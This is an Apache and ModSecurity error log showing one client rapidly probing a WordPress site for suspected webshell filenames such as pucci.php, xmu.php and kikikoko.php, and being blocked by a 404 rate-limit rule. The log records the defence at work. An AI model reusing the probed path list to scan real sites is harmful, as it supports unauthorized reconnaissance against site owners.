[Sun Apr 26 04:40:05.178216 2026] [:error] [pid 31273:tid 31354] [client 20.91.188.120:51330] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pucci.php"] [unique_id "ae0mpfhcNJEGrATcuEeoYAAAAU8"]
[Sun Apr 26 04:40:06.969706 2026] [:error] [pid 31273:tid 31335] [client 20.91.188.120:43973] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pucci.php"] [unique_id "ae0mpvhcNJEGrATcuEeoZQAAAUA"]
[Sun Apr 26 04:40:08.261383 2026] [:error] [pid 8491:tid 8519] [client 20.91.188.120:52705] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pucci.php"] [unique_id "ae0mqCq7I7e6CJooQM15MAAAANQ"]
[Sun Apr 26 04:40:11.503190 2026] [:error] [pid 8390:tid 8453] [client 20.91.188.120:38934] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pucci.php"] [unique_id "ae0mq4GPtFK_i9p5yxT_RQAAAII"]
[Sun Apr 26 04:40:14.808553 2026] [:error] [pid 41906:tid 41932] [client 20.91.188.120:36443] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/details/"] [unique_id "ae0mrj3-0A3lxw9OXoDh2QAAAZg"]
[Sun Apr 26 04:40:17.995643 2026] [:error] [pid 41906:tid 41932] [client 20.91.188.120:59348] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/details/"] [unique_id "ae0msT3-0A3lxw9OXoDh6AAAAZg"]
[Sun Apr 26 04:40:19.293781 2026] [autoindex:error] [pid 10315:tid 10338] [client 20.91.188.120:49526] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 26 04:40:23.442145 2026] [autoindex:error] [pid 10315:tid 10320] [client 20.91.188.120:49526] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/audio/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 26 04:40:23.755982 2026] [autoindex:error] [pid 10315:tid 10321] [client 20.91.188.120:49526] AH01276: Cannot serve directory /home/gigfrag/public_html/.tmb/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 26 04:40:36.899766 2026] [:error] [pid 10315:tid 10336] [client 20.91.188.120:49526] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "ae0mxKJIw2vjkleLIaBzvAAAARM"]
[Sun Apr 26 04:40:37.609697 2026] [:error] [pid 8385:tid 8443] [client 20.91.188.120:4212] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "ae0mxTOy7_J84Wx3-oxPQQAAAFM"]
[Sun Apr 26 04:40:38.696465 2026] [:error] [pid 10315:tid 10325] [client 20.91.188.120:33316] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "ae0mxqJIw2vjkleLIaBzvwAAAQg"]
[Sun Apr 26 04:40:40.175578 2026] [:error] [pid 8491:tid 8519] [client 20.91.188.120:43899] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "ae0myCq7I7e6CJooQM15PAAAANQ"]
[Sun Apr 26 04:40:41.577721 2026] [:error] [pid 31273:tid 31339] [client 20.91.188.120:56503] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "ae0myfhcNJEGrATcuEeoiwAAAUM"]
[Sun Apr 26 04:40:43.005213 2026] [:error] [pid 8390:tid 8473] [client 20.91.188.120:4218] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "ae0my4GPtFK_i9p5yxT_TQAAAJY"]
[Sun Apr 26 04:40:44.060639 2026] [:error] [pid 8383:tid 8411] [client 20.91.188.120:58456] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "ae0mzNFa2S3EsATMdWOvSQAAAA4"]
[Sun Apr 26 04:40:45.029095 2026] [:error] [pid 8385:tid 8434] [client 20.91.188.120:20530] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "ae0mzTOy7_J84Wx3-oxPSwAAAEo"]
[Sun Apr 26 04:40:46.043309 2026] [:error] [pid 8383:tid 8416] [client 20.91.188.120:59684] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "ae0mztFa2S3EsATMdWOvSwAAABM"]
[Sun Apr 26 04:40:55.344943 2026] [:error] [pid 8383:tid 8398] [client 20.91.188.120:53335] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "ae0m19Fa2S3EsATMdWOvbAAAAAE"]
[Sun Apr 26 04:40:56.527908 2026] [:error] [pid 8385:tid 8429] [client 20.91.188.120:55922] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "ae0m2DOy7_J84Wx3-oxPVQAAAEU"]
[Sun Apr 26 04:40:57.739080 2026] [:error] [pid 31273:tid 31351] [client 20.91.188.120:22994] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "ae0m2fhcNJEGrATcuEeorgAAAUw"]
[Sun Apr 26 04:40:58.854499 2026] [:error] [pid 8385:tid 8428] [client 20.91.188.120:53365] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "ae0m2jOy7_J84Wx3-oxPWQAAAEQ"]
[Sun Apr 26 04:40:59.682838 2026] [:error] [pid 8385:tid 8435] [client 20.91.188.120:64612] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "ae0m2zOy7_J84Wx3-oxPWwAAAEs"]
[Sun Apr 26 04:41:01.048325 2026] [:error] [pid 41906:tid 41911] [client 20.91.188.120:24970] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "ae0m3T3-0A3lxw9OXoDiGQAAAYM"]
[Sun Apr 26 04:41:02.394211 2026] [:error] [pid 41906:tid 41930] [client 20.91.188.120:59291] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "ae0m3j3-0A3lxw9OXoDiHgAAAZY"]
[Sun Apr 26 04:41:03.587227 2026] [:error] [pid 8383:tid 8415] [client 20.91.188.120:59314] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "ae0m39Fa2S3EsATMdWOvdgAAABI"]
[Sun Apr 26 04:41:04.481982 2026] [:error] [pid 8385:tid 8444] [client 20.91.188.120:64623] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "ae0m4DOy7_J84Wx3-oxPXQAAAFQ"]
[Sun Apr 26 04:41:05.846657 2026] [:error] [pid 8383:tid 8400] [client 20.91.188.120:36466] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "ae0m4dFa2S3EsATMdWOvegAAAAM"]
[Sun Apr 26 04:41:07.939753 2026] [:error] [pid 31273:tid 31337] [client 20.91.188.120:21053] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "ae0m4_hcNJEGrATcuEeowQAAAUI"]
[Sun Apr 26 04:41:08.920636 2026] [:error] [pid 31273:tid 31358] [client 20.91.188.120:58452] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "ae0m5PhcNJEGrATcuEeoxAAAAVM"]
[Sun Apr 26 04:41:09.915392 2026] [:error] [pid 10315:tid 10320] [client 20.91.188.120:24976] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "ae0m5aJIw2vjkleLIaBz8AAAAQM"]
[Sun Apr 26 04:41:11.917135 2026] [:error] [pid 10315:tid 10327] [client 20.91.188.120:24987] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "ae0m56JIw2vjkleLIaBz-AAAAQo"]
[Sun Apr 26 04:41:12.919864 2026] [:error] [pid 31273:tid 31336] [client 20.91.188.120:21045] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "ae0m6PhcNJEGrATcuEeoygAAAUE"]
[Sun Apr 26 04:41:14.603295 2026] [:error] [pid 31273:tid 31347] [client 20.91.188.120:60293] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "ae0m6vhcNJEGrATcuEeo1QAAAUk"]
[Sun Apr 26 04:41:16.037817 2026] [:error] [pid 8390:tid 8472] [client 20.91.188.120:21013] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "ae0m7IGPtFK_i9p5yxT_fQAAAJU"]
[Sun Apr 26 04:41:16.835051 2026] [:error] [pid 31273:tid 31341] [client 20.91.188.120:18718] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "ae0m7PhcNJEGrATcuEeo2QAAAUQ"]
[Sun Apr 26 04:41:19.418833 2026] [:error] [pid 8383:tid 8399] [client 20.91.188.120:8761] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-xme.php"] [unique_id "ae0m79Fa2S3EsATMdWOvhAAAAAI"]
[Sun Apr 26 04:41:20.133460 2026] [:error] [pid 8383:tid 8402] [client 20.91.188.120:49146] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "ae0m8NFa2S3EsATMdWOviAAAAAU"]
[Sun Apr 26 04:41:21.404329 2026] [:error] [pid 10315:tid 10341] [client 20.91.188.120:19359] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "ae0m8aJIw2vjkleLIaB0CAAAARg"]
[Sun Apr 26 04:41:22.165033 2026] [:error] [pid 8383:tid 8412] [client 20.91.188.120:26333] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "ae0m8tFa2S3EsATMdWOviQAAAA8"]
[Sun Apr 26 04:41:23.486074 2026] [:error] [pid 10315:tid 10320] [client 20.91.188.120:37060] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminer.php"] [unique_id "ae0m86JIw2vjkleLIaB0DAAAAQM"]
[Sun Apr 26 04:41:25.076759 2026] [:error] [pid 10315:tid 10339] [client 20.91.188.120:50748] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "ae0m9aJIw2vjkleLIaB0DwAAARY"]
[Sun Apr 26 04:41:27.836315 2026] [:error] [pid 41906:tid 41932] [client 20.91.188.120:64576] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "ae0m9z3-0A3lxw9OXoDiRwAAAZg"]
[Sun Apr 26 04:41:30.171488 2026] [:error] [pid 31273:tid 31352] [client 20.91.188.120:8741] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "ae0m-vhcNJEGrATcuEeo5wAAAU0"]
[Sun Apr 26 04:41:31.508253 2026] [:error] [pid 41906:tid 41923] [client 20.91.188.120:26331] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ktfow.php"] [unique_id "ae0m-z3-0A3lxw9OXoDiWgAAAY8"]
[Sun Apr 26 04:41:32.539515 2026] [:error] [pid 10315:tid 10322] [client 20.91.188.120:12289] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "ae0m_KJIw2vjkleLIaB0EAAAAQU"]
[Sun Apr 26 04:41:34.973970 2026] [:error] [pid 10315:tid 10318] [client 20.91.188.120:10289] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mode.php"] [unique_id "ae0m_qJIw2vjkleLIaB0FQAAAQE"]
[Sun Apr 26 04:41:42.501270 2026] [autoindex:error] [pid 31273:tid 31356] [client 20.91.188.120:21028] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 26 04:41:54.051190 2026] [:error] [pid 31273:tid 31359] [client 20.91.188.120:21028] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "ae0nEvhcNJEGrATcuEepGQAAAVQ"]
[Sun Apr 26 04:41:55.028890 2026] [:error] [pid 31273:tid 31352] [client 20.91.188.120:63920] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "ae0nE_hcNJEGrATcuEepGgAAAU0"]
[Sun Apr 26 04:41:56.120183 2026] [:error] [pid 31273:tid 31354] [client 20.91.188.120:60316] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "ae0nFPhcNJEGrATcuEepHgAAAU8"]
[Sun Apr 26 04:41:56.894669 2026] [:error] [pid 41906:tid 41908] [client 20.91.188.120:63900] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kikikoko.php"] [unique_id "ae0nFD3-0A3lxw9OXoDi2AAAAYA"]
[Sun Apr 26 04:41:58.060563 2026] [:error] [pid 41906:tid 41909] [client 20.91.188.120:54662] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "ae0nFj3-0A3lxw9OXoDi4QAAAYE"]
[Sun Apr 26 04:41:58.873589 2026] [:error] [pid 8390:tid 8456] [client 20.91.188.120:21054] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "ae0nFoGPtFK_i9p5yxT_jwAAAIU"]
[Sun Apr 26 04:42:00.627907 2026] [:error] [pid 10315:tid 10319] [client 20.91.188.120:57832] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "ae0nGKJIw2vjkleLIaB0IAAAAQI"]
[Sun Apr 26 04:42:02.082603 2026] [:error] [pid 41906:tid 41922] [client 20.91.188.120:21055] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dx.php"] [unique_id "ae0nGj3-0A3lxw9OXoDi6gAAAY4"]
